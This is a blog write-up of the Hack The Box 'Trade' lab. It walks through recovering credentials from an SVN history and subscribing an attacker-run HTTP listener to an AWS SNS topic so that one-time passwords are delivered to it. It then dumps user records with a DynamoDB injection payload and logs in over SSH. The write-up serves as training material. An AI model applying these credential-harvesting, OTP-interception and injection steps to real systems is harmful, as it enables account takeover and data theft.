Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Cloud] Trade

We are given an IP address. Let’s scan it:

$ nmap -A -T4 -Pn 10.129.227.204
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-15 22:14 +08
Nmap scan report for 10.129.227.204
Host is up (0.18s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http       Apache httpd 2.4.41
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
|_http-title: Monkey Backdoorz
3690/tcp open  svnserve   Subversion
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Interesting, we got a webapp with a login page, and a SVN repo. Let’s check it out:

$ svn checkout svn://10.129.227.204
A    store
A    store/README.md
A    store/dynamo.py
A    store/sns.py
Checked out revision 5.

Reading the dynamo.py file, we get:

$ tail -n10 store/dynamo.py
client.put_item(TableName='users',
    Item={
        'username': {
            'S': 'marcus'
        },
        'password': {
            'S': 'dFc42BvUs02'
        },
    }
    )

Great, we can login to the webapp! However there is a OTP to pass.

Let’s go through the SVN repo again:

$ svn up -r 2
Updating '.':
A    store/sns.py
Updated to revision 2.

$ cat store/sns.py
[...redacted...]
region = 'us-east-2'
max_threads = os.environ['THREADS']
log_time = os.environ['LOG_TIME']
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

# Initialize clients
s3 = boto3.client('s3', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)
sns = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)

Great, we got AWS credentials. We also see that it is using a specific endpoint, probably with LocalStack.

Let’s set our /etc/hosts with 10.129.227.204 cloud.htb, and set our aws profile:

$ tail -n2 ~/.aws/config
[profile htb_trade]
region = us-east-2

$ tail -n3 ~/.aws/credentials
[htb_trade]
aws_access_key_id = AKIA5M34BDN8GCJGRFFB
aws_secret_access_key = cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn

$ export AWS_PROFILE=htb_trade

We can now interact with the LocalStack:

$ aws --endpoint-url=http://cloud.htb sts get-caller-identity
{
    "UserId": "AKIAIOSFODNN7DXV3G29",
    "Account": "000000000000",
    "Arn": "arn:aws:iam::000000000000:user/tom"
}

Since it is using SNS, that is probably how the OTP is transmitted to the user:

$ aws --endpoint-url=http://cloud.htb sns list-topics
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp"
        }
    ]
}

Indeed!

After few tries, we setup a local web server that displays the body of POST requests received, on the VPN IP address:

$ cat test.py
#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=4445):
    logging.basicConfig(level=logging.INFO)
    server_address = ('10.10.14.30', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Now, let’s subscribe to the topic and add our Python webserver as recipient, with the http protocol:

$ aws --endpoint-url=http://cloud.htb sns subscribe --topic-arn arn:aws:sns:us-east-2:000000000000:otp --protocol http --notification-endpoint http://10.10.14.30:4444
{
    "SubscriptionArn": "arn:aws:sns:us-east-2:000000000000:otp:eb59226b-c1c4-44c1-8fd9-bbd06f504d4d"
}

We receive the callback to our endpoint with the token to confirm the subscription:

$ python test.py
INFO:root:Starting httpd...

INFO:root:POST request,
Path: /
Headers:
Host: 10.10.14.30:4445
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
x-amz-sns-message-type: SubscriptionConfirmation
x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp
x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:9eac8610-000d-48b1-af96-4cc4aeeca4d0
Content-Length: 831

Body:
{"Type": "SubscriptionConfirmation", "MessageId": "136464bf-9c9e-46a5-939e-7031230e70e9", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "You have chosen to
subscribe to the topic arn:aws:sns:us-east-2:000000000000:otp.\nTo confirm the subscription, visit the SubscribeURL included in this message.", "Timestamp":
"2022-07-15T15:52:40.437Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL":
"https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "SubscribeURL":
"http://localhost:4566/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-2:000000000000:otp&Token=caa5fc57", "Token": "caa5fc57", "UnsubscribeURL":
"http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:9eac8610-000d-48b1-af96-4cc4aeeca4d0"}

Using that caa5fc57 token:

$ aws --endpoint-url=http://cloud.htb sns confirm-subscription --topic-arn arn:aws:sns:us-east-2:000000000000:otp --token caa5fc57 

Finally, we can login with the credentials we found earlier:

marcus
dFc42BvUs02

And wait our Python webserver receive the OTP:

Body:
{"Type": "Notification", "MessageId": "e7a4e545-077e-401c-acd7-37b7c8a62ca3", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "{\"otp\": \"82786380\"}",
"Timestamp": "2022-07-15T15:54:13.468Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL":
"https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL":
"http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:9eac8610-000d-48b1-af96-4cc4aeeca4d0"}

Sweet!

Trade webapp

Navigating the website, we see a search, that is vulnerable to a SQLi. Here the backend is DynamoDB:

Trade SQLi

Using the payload, from the doc:

"}]},"servername":{"ComparisonOperator":"NE","AttributeValueList":[{"S":"lol

We can have all the records

SQLi results

From our nmap, we remember that a SSH port is open. Let’s try them all!

mario
cD034%hJqW10

Is working:

$ ssh mario@10.129.227.204
[...]
mario@trade:~$

mario@trade:~$ cat flag.txt
HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!}

SSH